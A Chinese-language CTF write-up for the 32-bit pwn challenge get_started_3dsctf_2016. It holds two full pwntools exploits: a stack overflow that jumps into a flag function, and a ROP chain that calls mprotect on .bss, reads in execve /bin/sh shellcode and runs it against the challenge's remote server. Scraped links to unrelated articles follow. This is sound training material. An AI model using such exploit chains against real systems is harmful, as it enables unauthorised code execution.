get_started_3dsctf_2016
题外:这道题不是很难,但是却难住了我很久。主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能与已有的库函数同名啊。虽然有此疑问,我没有深究,而是老老实实分析反汇编出来的伪代码,结果发现函数层层嵌套,根本分析不完。最后我不得以去网上看了别人的题解,发现根本不用管这些。题最后做出来了,但还是不明白为啥会有这么一大串代码。
----------------------------------------------------------------------------------------------------
解法一:
先分析题目的二进制文件
可以看出这是32位程序,没有看cannary和PIE保护,接下来把程序放入IDA中看看。
程序很简单,存在明显的栈溢出。细心的小伙伴还可以发现程序直接给了一个拿flag的函数,如下:
但是这个函数中有if条件限制,不好直接跳转到这个函数。这个时候就可以选择直接跳转到if语句块里,从而绕过if的检查。这么的做的弊端是导致栈不平衡,执行完这个函数后程序会崩溃,不过这之前我们已经拿到flag了,所以这题是没有什么关系的。最后exp如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
get_flag = 0x080489b8
payload_01 = 'A'*0x38 + p32(get_flag)
gdb.attach(sh)
sh.sendline(payload_01)
sh.interactive('countfatcode> ')
这样写在本机上是能跑的,但是打远程的时候汇出错,我也不知道为什么。
解法二:
细心的小伙伴可以发现题目里有mprotect函数,这个函数可以改变程序内存空间的读写执行权限。具体的用法如下:
int mprotect(const void *start, size_t len, int prot);
参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限
所以我们先用mrotect函数把.bss中的一部分改为可执行,用调用read函数向其中写入shellcode,最后再跳转到shellcode出执行。具体的exp如下:
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process('./get_started_3dsctf_2016')
p = remote('node3.buuoj.cn', 25626) elf = ELF('./get_started_3dsctf_2016') mprotect_addr = 0x0806ec80
read_addr = elf.symbols['read']
pop3_addr = 0x080509a5
payload = 'A'*0x38 + p32(mprotect_addr) + p32(pop3_addr) + p32(0x080ea000) + p32(0x2000) + p32(0x7) + p32(read_addr) + p32(0x080eb000)
payload += p32(0) + p32(0x080eb000) + p32(0x100) #gdb.attach(p)
p.sendline(payload)
sleep(1) shellcode = asm('''
mov edx, 0
mov ecx, 0
push 0x68732f
push 0x6e69622f
mov ebx, esp
mov eax, 0xb
int 0x80
''')
p.sendline(shellcode)
p.interactive()
get_started_3dsctf_2016的更多相关文章
- get_started_3dsctf_2016 1
拿到题目,依旧还是老样子,查看程序开启的保护和位数 可以看到程序开启了nx保护是32位程序,于是我们把程序放入ida32编译一下 一打开就能看到非常明显的get_flag这个程序,f5观察伪代码 当a ...
- [BUUCTF]PWN11——get_started_3dsctf_2016
[BUUCTF]PWN11--get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: ...
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- get_started_3dsctf_2016-Pwn
get_started_3dsctf_2016-Pwn 这个题确实有点坑,在本地能打,在远程就不能打了,于是我就换了另一种方法来做. 确这个题是没有动态链接库,且PIE是关的,所以程序的大部分地址已经 ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
- [BUUCTF]PWN14——not_the_same_3dsctf_2016
[BUUCTF]PWN14--not_the_same_3dsctf_2016 题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016 步骤 ...
- BUUCTF-PWN-第一页writep(32题)
温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...
随机推荐
- 精讲RestTemplate第4篇-POST请求方法使用详解
本文是精讲RestTemplate第4篇,前篇的blog访问地址如下: 精讲RestTemplate第1篇-在Spring或非Spring环境下如何使用 精讲RestTemplate第2篇-多种底层H ...
- C#LeetCode刷题之#342-4的幂(Power of Four)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/4058 访问. 给定一个整数 (32 位有符号整数),请编写一个函 ...
- 思维导图概览SpringCloud
@ 目录 1.什么是微服务 1.1.架构演进 1.2.微服务架构 1.3.微服务解决方案 2.SpringCloud概览 2.1.什么是SpringCloud 2.1.SpringCloud主要组件 ...
- 调试备忘录-J-Link RTT的使用(原理 + 教程 + 应用 + 代码)
MCU:STM32F407VE MDK:5.29 IAR:8.32 目录--点击可快速直达 目录 写在前面 什么是RTT? RTT的工作原理 RTT的性能 快速使用教程 高级使用教程 附上测试代码 2 ...
- 关于dubbo扩展点的一点分析
扩展点能力 能load class,这个class除了顶层接口class(在ExtensionLoader中对应type字段),还能load各实现类的class. 能创建instance. 能指定这个 ...
- 如何在 asp.net core 的中间件中返回具体的页面
前言 在 asp.net core 中,存在着中间件这一概念,在中间件中,我们可以比过滤器更早的介入到 http 请求管道,从而实现对每一次的 http 请求.响应做切面处理,从而实现一些特殊的功能 ...
- iNeuOS工业互联平台,WEB组态(iNeuView)集成rtmp和websocket视频元件,支持海康、大华等摄像头实时显示视频
目 录 1. 概述... 1 2. 平台演示... 2 3. 硬件摄像头... 2 4. 视频流协议转换管理... 2 5. 组态视频元件 ...
- 地图绘制之basemap第一弹 basemap选择与安装
作为一个测绘GIS专业的学生,会有很多绘制地图的需求,一般情况使用ArcGIS.QGIS就可以解决,但是在绘制如论文插图时需要使用更加专业可定制化程度更高的工具,专业传统一般使用GMT,几经比较,最终 ...
- linux 强制重启!
原文链接:https://www.cnblogs.com/wipy/p/4261472.html 有时候,linux 由于硬盘或者其它原因, 某个进程挂住了,怎么也杀不死, 输入 reboot 命令也 ...
- pandas电子表格的读取(pandas中的read_excel)
上面那篇文章中,初步介绍了一个文本文件的读取:接下来介绍另外一种常见的本地数据格式,那就是Excel电子表格,如果读者在学习或者工作中需要使用Python分析某个Excel表格数据,改如何完成第一个的 ...